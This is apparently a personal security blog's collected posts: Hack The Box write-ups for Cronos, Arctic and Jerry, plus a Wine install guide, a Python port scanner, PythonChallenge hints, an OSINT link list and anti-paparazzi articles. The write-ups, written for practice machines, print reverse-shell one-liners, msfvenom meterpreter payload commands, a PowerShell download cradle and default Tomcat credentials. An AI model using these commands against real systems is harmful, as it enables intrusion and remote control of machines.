How to install Wine and Python 2.7

Wine is a tool (not an emulator) for running Windows based programs on other non-Windows based operating systems such as Linux. These are the steps to get it installed on Kali Linux with Python 2.7

First add the i386 architecture to your system in case you don’t already have it, the command won’t do anything if you have it already. Skip this first step if that is the case.


Next run apt-get update:

apt-get update

To update your repositories for Linux. This will make sure you get the latest version of Wine.


Install the Wine package using apt-get install wine32. This could take a few minutes depending on your internet connection and you will be asked to confirm the install near the start.

apt-get install wine32


Once installed you should see wine in the /root/.wine folder with a Windows C:/ structure inside it:


The next stage is to download and install Python into your Wine install. Visit the Python download page at:


and download the Windows x86 MSI Installer. The file is only 19MB in size so should come down very quickly.



Now navigate to your downloads folder in the terminal and install it using wine msiexec /i python-2.7.14.msi

wine msiexec /i python-2.7.14.msi


The install wizard should appear and unless you have some specific requirements for the install you can just hit next, next, next, finish through the windows.



Once the install is complete you can confirm it’s there by navigating to the new Python folder within the Wine directory:




Hack The Box – Cronos – writeup

Cronis is a Linux box which had a few failures before I found a method which worked to get the root password at the end. It was good practise of the “try harder” motto.

Starting with a nmap scan we can see 3 ports open, SSH, DNS and HTTP


I like to check if any default admin:admin type passwords work for ssh login to give us an easy start. but no luck.


We can then head over to the webpage and see that it looks like a default Apache install.


As the default index.html doesn’t seem to be hiding any clues I started a dirbuster scan to find any hidden files/folders but that also comes up empty.


The DNS port we found earlier is likely there for a reason, most HTB boxes don’t have it running unless it’s going to help us compromise a box so lets do some enumeration and see what we can find. An NSlookup shows the subdomain ns1.cronos.htb


It’s possible that there are multiple other subdomains being used so lets edit the /etc/hosts file, first trying domain cronos.htb


If we then re-visit the server with our browser it takes us to a new page. It’s a good sign we’re on the right track but there are no more clues on this page, we’re likely going to have to keep digging with DNS.


we can do a zone transfer to see what other information the DNS server throws up. A few more subdomains are mentioned, and anything with “admin” in the name is always worth looking further into.


If we add this new domain to the hosts file as before and visit it we get a new login page we can try to attack.


Looking at the source code and trying some default admin:admin credentials doesn’t give us anything, but moving onto testing SQL injection does


tricking the login page into thinking we’ve been successful with our credentials takes us to this very basic looking page with some pre-built functions which ping and tracert a given IP


As the famous web security saying goes “Never trust user input”. Lets see if the developer of this page took that advice and applied some sort of validation/filter to the user input.


Nope! We can run a selection of linux commands by adding a ; after the IP address in the input box. This is the time to start looking at getting a shell over to the server. First we setup our nc listener


I then tried a few one liners such as :

  • nc -e /bin/sh 4444
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f
  • php -r ‘$sock=fsockopen(“”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);

but they didn’t work so the next step is to see if we could put a PHP script onto the server. The one I used was the pentestmonkey one available from the URL in this screenshot:


Once downloaded you need to enter your port and IP and host it using the built in Kali tool SimpleHTTPserver.


It can then be uploaded using this command appended to the IP address on the webpage.

curl -O


Manually visiting the new file causes it to run and we get our shell.


A quick browse to the user folder finds the flag in the usual place


Next step is to try and upgrade our shell so we can perform a few more actions during enumeration. You can spawn a python shell using:

python -c ‘import pty;pty.spawn(“/bin/bash”);’

then navigate over to /dev/shm in preparation for getting the script onto it.


Linenum is a well known script which performs lots of enumeration functions on Linux systems, saving you time and removing the risk of you forgetting to run something useful. It can be found at :

I downloaded it and placed it in my SimpleHTTPServer folder, then ran this on the victim machine to transfer it:

curl -O

Note: you need to chmod +x the script before it will run:


The script provides a lot of useful information, starting with basic version info:


A few options for different shells if we need them for future attacks


And it spots a PHP file running with root privileges. Given that the name of the box is Cronos is a clue that we should be looking at something happening with a cron job.


If we visit the artisan file it looks like this job runs the schedule method for a program called Laravel artisan. The schedule method however isn’t inside the artisan file. But if we look at google for it we eventually find a reference to where it might be:


We can confirm it’s there:


The Kernel file allows us to edit it and add our own lines into the schedule method. If this runs as root then in theory we have pwned the system. I tried to execute a cat command to transfer the contents of the root.txt file into a file I had access to:


This created the new root.txt file but for some reason didn’t copy the contents of the original file, so lets try changing the permissions to just allow us to browse to it manually.


Once again the task ran but didn’t work as expected. There is always more than one way to complete these challenges so after playing with the Kernel.php file for a bit longer I went back to my enumeration and tried looking for other privilege escalation exploits for this version of Linux.

The first one that came up was :

which we can download and compile using:

gcc -o file 44298.c


We can transfer it over to the victim machine using SimpleHTTPServer as before and running it works first time to give us root access.


The flag is in the root folder.


Hints and Tips for PythonChallenge level 0

This is a page of hints for the level 0 challenge

It does not contain the answer so you can use as many hints as you want but still have to put everything together yourself to complete it

Note: A lot of these challenges have multiple different ways of solving them, the hints here might not match to what you have found already.

Expand for hint 1

Numbering in python starts at 0 and goes up.

Expand for hint 2

The URL bar is normally shown at the top of your browser, can you manually edit it?

Expand for hint 3

The aim is to get to page for the next level.

Expand for hint 4

Python has many mathematical operators.

Expand for hint 5

a single * is for multiplication, a double ** is for something else.

Expand for hint 6

If you think your maths has worked, try editing the URL once again

Installing netfilterqueue in Kali

I had some trouble recently trying to install the python library netfilterqueue onto my Kali box as the usual pip or pip3 commands didn’t seem to work.

both python 2 and python 3 brought back a similiar error:


Command “/usr/bin/python3 -u -c “import setuptools, tokenize;__file__=’/tmp/pip-install-8l8q2wql/netfilterqueue/’;f=getattr(tokenize, ‘open’, open)(__file__);‘\r\n’, ‘\n’);f.close();exec(compile(code, __file__, ‘exec’))” install –record /tmp/pip-record-sk6qu_jn/install-record.txt –single-version-externally-managed –compile” failed with error code 1 in /tmp/pip-install-8l8q2wql/netfilterqueue/

One method to get around it is to try and install it on a different flavour of Linux, but after a bit of trial and error I found that you can get it onto Kali using:

sudo apt-get install python-netfilterqueue


This gets it onto your machine for python 2:



Anti-Paparazzi technology part 2

The last post about Anti-Paparazzi clothing sent me down a rabbit hole finding out about other recent inventions designed to stop cameras. Here’s a brief summary of what other options exist if you cant get hold of a nifty reflective scarf:

Flash back handbag


A student named Adam Harvey invented a handbag add-on which detects a camera flash and in return flashes right back at it before the photo is taken. The result is a ruined photograph. I believe the downside is that this device is only quick enough to thwart slower shutter speeds which is good enough in you are in a dark area or out at night but won’t have much of an effect at sporting events where photographers will typically be using quicker shutter speed settings. The device is also not in commercial production but the inventor still deserves some respect for trying to beat a flash at it’s own game.

The inventors website

Write up at

Write up at

Anti photography paint

An article in the express claims that any photographs taken of Angelina Jolie giving birth are fakes because the hospital she was at coated the windows with anti-photography paint. I’m a bit dubious about this claim as the article gives no further details about how it works and google comes up short when trying to find other examples of this technology being used elsewhere.

I think this might be a bit case of the journalist taking some creative liberties and the windows of the hospital room were either coated with the same stuff as one way mirrors (suggesting the inside was kept darker than normal) or the windows simply had the same privacy filters applied that you can get for your office computer to prevent shoulder surfing:


Privacy screen from 3M

Dubious article from the Express



A decade ago there were reports of technology on Roman Abramovich’s new super boat which utilised lasers to scan in all directions and detect the CCD (Charged couple device) of a digital camera and blind it. The CCD is the part of the camera which detects light before coding the information into pixels. The lasers are able to detect these and send an extra bright beam directly at the CCD, blinding it without affecting anything else.

this technology was first developed as a way to try to stop pirates recording movies in the cinema. There is a lot of speculation (including from the devices inventor) as to how effective it is when taken outside of a small dark cinema room and stuck to the side of a giant yacht in the ocean in broad daylight. – Romans big yacht

techradar – review of the technology

Anti face recognition

There is some interesting work going into stopping facial recognition technology doing its thing. This won’t stop a paparazzi taking a direct photo of you but it might hinder any automated CCTV or video recording software which activates and focuses based on what it detects as a human face.

at CV Dazzle there is a group of make up artists designing styles which stop common facial recognition technology from being able to detect a face. It works by disguising common features which some face recognition technology relies on such as the colouring of eyes, the nose bridge or the edges of the mouth.

anti face recognition make up

The same guy mentioned previously (Adam Harvey) who works on CV Dazzle and the flash-back camera also has a project called “Hyperface” which designs patterns which instead of being detected as a non-face gets detected as hundreds of individual faces, hopefully confusing the facial recognition software and hiding your real face.

Looking at the sample designs it seems strange at how little is needed for software to detect a “face”. a very simple design of pixels which can just about pass as eyes, nose and a mouth seems to be all it takes:

facial recognition baffle


CV Dazzle – make up camouflage



Anti-Paparazzi clothing

This is probably a problem which doesn’t affect too many readers but if you want to avoid having your photo taken on a night out either by a professional photographer or a snap-happy friend with an iPhone there is a company named “Beta Brand” who makes anti-paparazzi clothing which makes photos look like this:betabrand-photobomber

The clothing itself contains lots of tiny glass spheres which act as a super reflective material which bounce back as much of the light from a flash as possible and tricking a camera into thinking the scene is a lot lighter than it really is. A lot of today’s modern cameras will auto adjust the picture settings and make everything seem darker to adjust for the mass of light it see’s coming in.

Its main downsides are that it doesn’t work if the camera isn’t using a flash or if the photographer is manually adjusting all the settings. The clothes aren’t too overpriced and look cool themselves so it’s likely that wearing them might end up attracting more attention from fans who snap a photo, check that it looks weird and suddenly get more curious as to what is going on.

You can read more about it here:

PetaPixel – Watch flashback anti-paparazzi clothing ruin flash photographs

Digitalrev – How anti paparazzi clothing works

Bored Panda – Anti paparazzi clothing chris holmes

port scanner python script

Python port scanner – raw code with explanation

If you ever find yourself without access to Nmap here is some quick python code for testing the up/down status of 1000 TCP ports on a target host. The code is explained at the bottom:


import socket
from termcolor import colored

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = input(“Enter the target host: “)

def portscanner(port):
if sock.connect_ex((host,port)):
print(colored(“Port %d is closed” % (port), ‘red’))
print(colored(“port %d is open” % (port), ‘green’))

for port in range(1,1000):


import socket
from termcolor import colored

These 2 libraries are responsible for creating the connection to the target and for allowing us to add colour to the output

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Sets the connection to use IP4 and sets the timeout to 1 second so you don’t get stuck waiting for connection requests to time out

host = input(“Enter the target host: “)

This is the prompt which you see when you run the code, it adds the input to the ‘host’ variable

def portscanner(port):
if sock.connect_ex((host,port)):
print(colored(“Port %d is closed” % (port), ‘red’))
print(colored(“port %d is open” % (port), ‘green’))

Here is the main function. Instead of testing for a successful connection it looks for a failure, if so it reports that the port is closed. If anything else comes back it assumes the port is open and reports that.

for port in range(1,1000):

Sets the script to scan ports 1- 1000, you can change this to specific numbers or increase the range up to 65535

Hack the Box - Arctic - Writeup

Hack The Box – Arctic – writeup

Arctic is a vulnerable windows box showing the risks of running an unpatched Coldfusion server and a very out dated windows 2008 r2 server.

First step as standard is to run a nmap scan and see what ports are available to us:1

There are 3 ports visible from the scan, port 135 and 49154 are standard for RPC and they are present on a lot of HTB boxes. the mystery port 8500 is unknown to nmap so lets take a look at that one first. Google tells us it’s the default port for Adobe Coldfusion.


Visiting the host on port 8500 using a browser gives us a directory to we can navigate. the letters CF at the start of the names are another clue pointing to this being a Coldfusion server.


For whatever reason this directory takes absolutely ages to load each page so to make things easier I tried loading every page I saw in a new tab and went away for 10 minutes to make a cup of tea while they loaded.


The CFIDE folder contained an administrator page which is all the confirmation we need about this being a Coldfusion host. It also tells us this is version 8.


Some more Google enumeration tells us that version 8 came out in 2007, if this is a base install then there will almost certainly be many different vulnerabilities out by now we could use to try and break into this box (nothing stays secure forever):


Searching on exploit-db by date we can see a few cross site scripting vulnerabilities but more helpfully an arbitrary file upload.


Taking a quick look at the code it seems like a small ruby script which exploits the FCKeditor upload functionality, it also has a module in Metasploit which makes things easier for us.


If you launch Msfconsole and search for “Coldfusion”, there are a few results. Looks like number 7 most closely matches what we found in exploit-db. The only difference is the date.9

The exploit only requires a remote host and remote port.


Unfortunately it fails when run. Time to start trying harder!


The next step felt like I got a bit lucky. When an exploit fails to run one of the first things I check is whether the victim box is still up and running. Sometimes other users have broken it or a failed exploit causes it to crash so you need to give it a reboot before continuing. As a test I refreshed the IE page and when it came back I saw it had a new folder called “userfiles”. So the exploit hadn’t totally failed , looks likes it had managed to upload at least some files:


This new folder contains a .jsp file which is likely the exploit Metasploit had uploaded but for whatever reason had failed to run. Lets setup up a listener and see if we can run it manually. The error from Metasploit earlier showed us that we expect to reverse shell to start talking on port 4444:


Now click on the .jsp


And it works! we are on the server as a user named tolis:


The flag is in the expected location:


tolis doesn’t have admin rights so in order to get the root flag we’re going to have to start looking at what privilege escalation we have available to us. Systeminfo tells us that this is a server 2008 R2 system so unless it is patched up to the latest version we should be able to find a few things to try:


But before jumping straight into new exploits It’s always a good idea to try to improve whatever shell you managed to get as a foothold. In this instance we’re going to try and transfer this shell into the Metasploit meterpreter to take advantage of all the extra features it has over our basic shell. We can try to create a payload using msfvenom and hopefully it’ll let us upload it using the shell we currently have. We know the server is some sort of web server so it likely won’t have any problems if we use a HTTP reverse shell.

msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT=4567 -f jsp -o dodgyfile.exe


Now to start the SimpleHTTPserver that comes with Kali:


And after a bit of trial and error we can download the payload to the victim server using this line:

powershell -c “(new-object System.Net.WebClient).DownloadFile(‘;,’superdodgy.exe’)”


Before we run it we need to setup the listener on our Kali box to be ready to catch the incoming connection, back in msfconsole we set the payload type, the host and port to listen on (Matching what we set in msfvenom previously):



Back on the victim machine lets run the payload and see if it works:


It connects instantly and we can start enjoying our new shell:


One of the first things to try is the built in “getsystem” command within Meterpreter which tries a few quick privilege escalation methods. I don’t find that it works too often but it’s quick enough that it never hurts to try:


No luck. Another feature of the meterpreter shell is a post-exploit tool which can scan the system and suggest possible privilege escalations to try located at: /post/multi/recon/local_exploit_suggester which finds 11 possible exploits and after some quick tests suggests 4 of them are likely to work:


Starting at the top lets try ms10_092_schelevator after backgrounding our new shell


Setting our session option and running it looks promising at first but gives mixed messages about whether it has worked or not:


If we have another look at the options for this exploit it shows that the LHOST isn’t set correctly:


If we fix that to use the IP we have on the HTB network instead of on the local network the exploit works better and we get our system shell:


Root flag is in the usual location:


OSINT Cheat sheet

A collection of links for Open Source intelligence research, mostly focused on domain names instead of people or companies.

If you’re stuck with a OSINT challenge go through these links one by one and see if any extra info comes up that you’ve missed previously.


For websites and servers:

Google default link : Link

Google country specific link: Google UK

Google site: specific search: Google site

Yandex: Russian Search engine

Yandex site specific search: Yandex site search

Baidu: Chinese search engine

Bing: Bing

Bing IP search : See what else is hosted on the same IP

Millionshort: Omit results from the top 1 million most popular websites

whois; Details about the registrar

Web time machine : Internet time machine

Pastebin : Search through text dumps

Global File Search: Index of public ftp servers

Shodan : Internet of things

DNS Dumpster: More DNS info

dmitry : Kali tool, usage: dmitry HOSTNAME, does a lot of what the above sites does.

dig : Kali tool, usage : dig Target ANY

Robotex : Automated DNS loop and a bit more neatly presented : Find e-mail addresses associated with a domain

Social Media:

Twitter search: Search for hashtags # or @ for users

Facebook : Facebook Search

Linkedin : Warning – if you are logged in then people will see that you have searched for them


Guerrilla mail – E-mail common addresses such as admin@domain and see if any bounce backs or out of offices appear

  • Consider typos of things you are looking for
  • search for job postings for the org you are investigating
  • Are there related services which could be searched


Hack the Box Jerry

Hack The Box – Jerry – Writeup

Jerry is a retired box from HTB so can only be done if you have a premium VIP account.

It shows the risks of leaving default credentials for installed services. The solution I’ve got here is fairly standard and I’ve kept in a little of extra in terms of thought processes which didn’t go anywhere instead of just writing out how to get the flags yourself.

First step is to run an Nmap scan of the target and note that it only comes back with one port, running Apache Tomcat version 7.0.88 and Coyote JSP Engine 1.1


As it looks like a web server, we can visit the site and confirm it looks like a base install of Apache Tomcat version 7.0.88


Only thing to notice from this generic Tomcat page is a file path name. This is worth noting in case we are trying to navigate around the file system at a later point in time.


Normally this might be the time to start running a tool like dirb or dirbuster to try and find what else is available on this server however some nice links are given to us in the top right as “Server Status” “Manager App” and “Host manager”. All 3 present us with a login box if we try to access them.


As this looks like a default install of Tomcat lets check to see if the default credentials have been changed. A quick Google search reveals a Github page with about 20 default passwords listed for tomcat installs. If there were more than 20 we Could use Hydra to automate trying them however as the passwords were short and simple enough you can work through them manually very quickly.


Doing this with the Server status module yields success for the login admin:admin

There isn’t much to see on this page, the only thing which stands out is an out of date java version which isn’t directly vulnerable now but worth noting for later if we get stuck.


Trying to log into the other modules now gives a HTTP 403 authorisation error instead of the password prompt from before. This is because the site is still trying to login with the admin:admin credential from earlier and while it registers as a valid set of credentials the admin account doesn’t have authorisation to access the other modules. There is no logout option on the site so you need to clear your browser history to reset.


A different set of  default credentials from Github is successful and we can get into the Manager app using tomcat:s3cret

There is plenty of interesting info on this page but the obvious place to start looking is the upload feature. Any functionality which gives us the ability to put our own files onto a remote server and execute them is a good candidate for further investigation.


If we can get a file onto the server which executes a reverse shell and connects back to us we can use that as a foothold to get further into the system. Lets use msfvenom to help create this reverse shell in a .war format as it is most likely going to be accepted by the uploader. We know the server is sending out http traffic so as a first choice we should look at using the http reverse shell. Any protocol not blocked by the firewall is likely to work for this.


We need to edit the options in the Meterpreter shell with the details of our local machine IP and port and give it a name of dodgyfile.war

msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT=4567 -f war -o dodgyfile.war


The .war file is going to have a .jsp file inside with a randomised name. This is in an effort to try to disguise it from virus scanners. It’s worth making a note of the name in case we need to manually visit it later. You can view the contents of the war file using any zip tool.


Now that we have the payload we should setup our machine to start listening in case the reverse shell gets activated as soon as we complete the upload.

Setup Metasploit as the listener by opening it up and using the exploit/multi/handler and giving it a few parameters


set the local host to your network interface (Look it up using ifconfig if needed). Set the port to whatever was set in the payload previously.



Start the listener using exploit -j  (-j puts the process into the background as soon as it starts)


Back on the target website lets try and upload our dodgy file. Fingers crossed there aren’t any extra security checks which might flag up the file. (unlikely, but we won’t know util we try)


Looks like it has uploaded fine, checking the Metasploit listener it hasn’t auto-ran so we need to find out how to get it started manually.


After a bit of clicking about and trying the features on the app manager page it looks like you can manually navigate to the .jsp we noted earlier to get it to execute.


As our listener was in the background waiting it caught the incoming connection and we can interact with it using:

sessions -i 1


To make things easier to navigate use the shell command and you can start enumeration and browsing for the required flags.


Slightly disappointing that there is no privilege escalation required for this box as you start your shell as the system account by default and can go straight into the administration account. The only small challenge left is to remember how to use quotes to see the contents of a text file with spaces in its name. Both flags are in the same text file.